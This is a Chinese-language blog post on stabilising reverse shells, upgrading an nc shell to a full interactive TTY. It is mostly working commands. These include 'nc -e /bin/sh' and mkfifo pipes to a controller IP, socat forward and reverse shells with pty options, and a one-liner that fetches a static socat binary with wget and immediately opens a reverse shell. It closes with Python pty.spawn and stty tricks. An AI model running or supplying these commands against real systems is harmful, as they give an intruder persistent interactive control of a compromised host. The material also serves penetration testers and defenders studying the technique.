nc反向shell tty升级

2017年3月28日 发表评论 阅读评论

一、nc反向shell的问题

在《Linux一句话反向shell原理》一文中有提到,通过一句话shell获取一个反向连接的shell。由于nc在一些操作系统版本上没有-e参数,所以里面使用的bash -i 重定向的方法。但是在使用nc产生的反向shell时,会出现vim、top等无法使用、tab补全时显时异常、按ctr+c会自动退出等问题。具体如下图(使用vim时报了Vim: warning: Input is not from a terminal的错误):

nc-vim-terminal

上图使用的测试命令如下:

nc -lvp 3000  (控制机)
nc -e /bin/sh 10.212.52.100 3000 (被控机)

同样,在nc没有-e参数的情况下,可以使用我上文提到的bash -i,或者其变种方法,如:

rm -f x; mkfifo x; /bin/sh 2>&1 < x | nc 10.212.52.100 3000 > x

使用socat(升级版nc)时,如果参数未加全的情况下,也会出现上面的问题。例如,下面一个正向shell :

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash  (被控端)
socat - TCP:10.212.52.252:1337  (控制端)

二、使用socat解决

1、socat正向shell

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane   (被控端)
socat FILE:`tty`,raw,echo=0 TCP:10.212.52.252:1337  (控制端)

注:建议不用正向shell,因为任何主机都能连上被控机,如果是反向shell,则是控制端起监听,被控主机主动给一个shell让控制端控制。

2、socat反向shell

socat file:`tty`,raw,echo=0 tcp-listen:4444   (控制机)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  (被控制机)

不过使用socat有两个缺点,这里也一一解决。

3、socat的缺点

使用socat后,vim、top这类命令完全OK。tab也可以正常的显示和补全了,ctrl + c再怎么执行也不会退出了。是不是很欢脱,不过其也存在两个缺点:

缺点1:

不是所有的类型的主机源里都有socat,不过这个可以通过网络上下载使用(主机无法上网时又要内网源,麻烦),其项目下载页:https://github.com/andrew-d/static-binaries ,一句话下载使用:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  

缺点2:

socat生成的shell默认大小是80x24大小的,使用ps等命令时可能会出现显示不全的问题。这时候就需要重设tty size,操作如下:

$ stty -a
speed 38400 baud; rows 40; columns 130; line = 0
$ stty rows 40 cols 130

三、nc python pty升级

先来个一步步的操作方法,前面一切不变,先控制端nc监听一个端口,被控端bash -i给一个反向shell,连接成功后,使用Python pty模块生成一个带原生终端的shell。命令如下:

python -c 'import pty; pty.spawn("/bin/bash")'    //按ctrl + z放后台暂存,此时会返回原控制端主机shell
stty raw -echo    //控制端主机执行
fg     //调之前的nc和python pty到前台,重新回到了被控制的主机上
reset
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116

当然这个步骤也可以精简一下,控制端在连接时就执行如下命令:

stty -echo raw; nc -lp 3000; stty sane

连接成功后,直接输入python -c 'import pty; pty.spawn("/bin/bash")'  

nc-python-tty

此时如果使用ps觉得终端不够大时,可以再使用 stty rows 38 columns 116调整终端大小。




本站的发展离不开您的资助,金额随意,欢迎来赏!

You can donate through PayPal.
My paypal id: itybku@139.com
Paypal page: https://www.paypal.me/361way

分类: 安全/漏洞 标签: ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.